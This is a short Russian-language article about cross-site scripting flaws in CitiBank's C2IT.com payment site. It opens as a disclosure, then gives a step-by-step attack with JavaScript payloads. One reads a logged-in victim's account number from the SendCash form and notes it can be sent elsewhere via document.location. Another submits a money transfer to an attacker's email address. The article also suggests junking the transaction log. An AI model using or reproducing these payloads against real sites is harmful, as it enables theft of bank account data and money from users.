Сайт CitiBank (C2IT.com)
имеет несколько уязвимостей. Онлайновая
система аналогична PayPal и позволяет через
Сеть производить операции со своей
кредитной картой, переводить деньги одним
нажатием кнопки, используя адрес
электронной почты.
Практически все формы на сайте уязвимы к
cross-site scripting'у (описание CERT смотрите тут: http://www.securiteam.com/exploits/5IP000K0LI.html),
т.е. данные могут быть утащены простым
Java-скриптом. Банк был извещен еще 4 месяца
назад, однако НИКАКИХ действий со стороны
администратора предпринято не было, хотя
закрыть дырку проще простого.
Итак, как провести атаку. Данные
пользователя C2IT, номер его банковского
счета и кредитки, можно получить через
форму SendCash, https://www.c2it.com/C2IT/SendCash. Переменная,
в которой хранится данные называется AMOUNT,
если пользователь имеет счет на сайте и
зашел на него (надеюсь рассказывать как
заставить пользователя войти на сайт
рассказывать не нужно? :), то вытащить их
можно например так:
<script>
setTimeout("alert(document.forms[0]. SRC_ACCOUNT.options[1]. value)",
400);
</script>
Скрипт устанавливает время, необходимое
для полной загрузки странички, затем идет
обращение к переменной SRC_ACCOUNT и ее значение
выдается на экран в окошке. Номер может быть
послан на другой сайт при помощи операции
document.location.
Для перевода денег на другой счет можно
воспользоваться все тем же сриптом SendCash:
<script>
w=window.open("SendCash", "s","");
setTimeout("f=w.document.forms[0];f.DEST_EMAIL.value='u@you.com';
f.AMOUNT.value=10;f.submit();",15000);
setTimeout("w.document.forms[0].submit();", 15000);
</script>
Как видите элементарно до жути. К тому же
проще просто можно запортить историю
транзакций, для этого просто-напросто надо
использовать переменную NOTE_TO_SELF, с ее
помощью легко забить лог всяким мусором.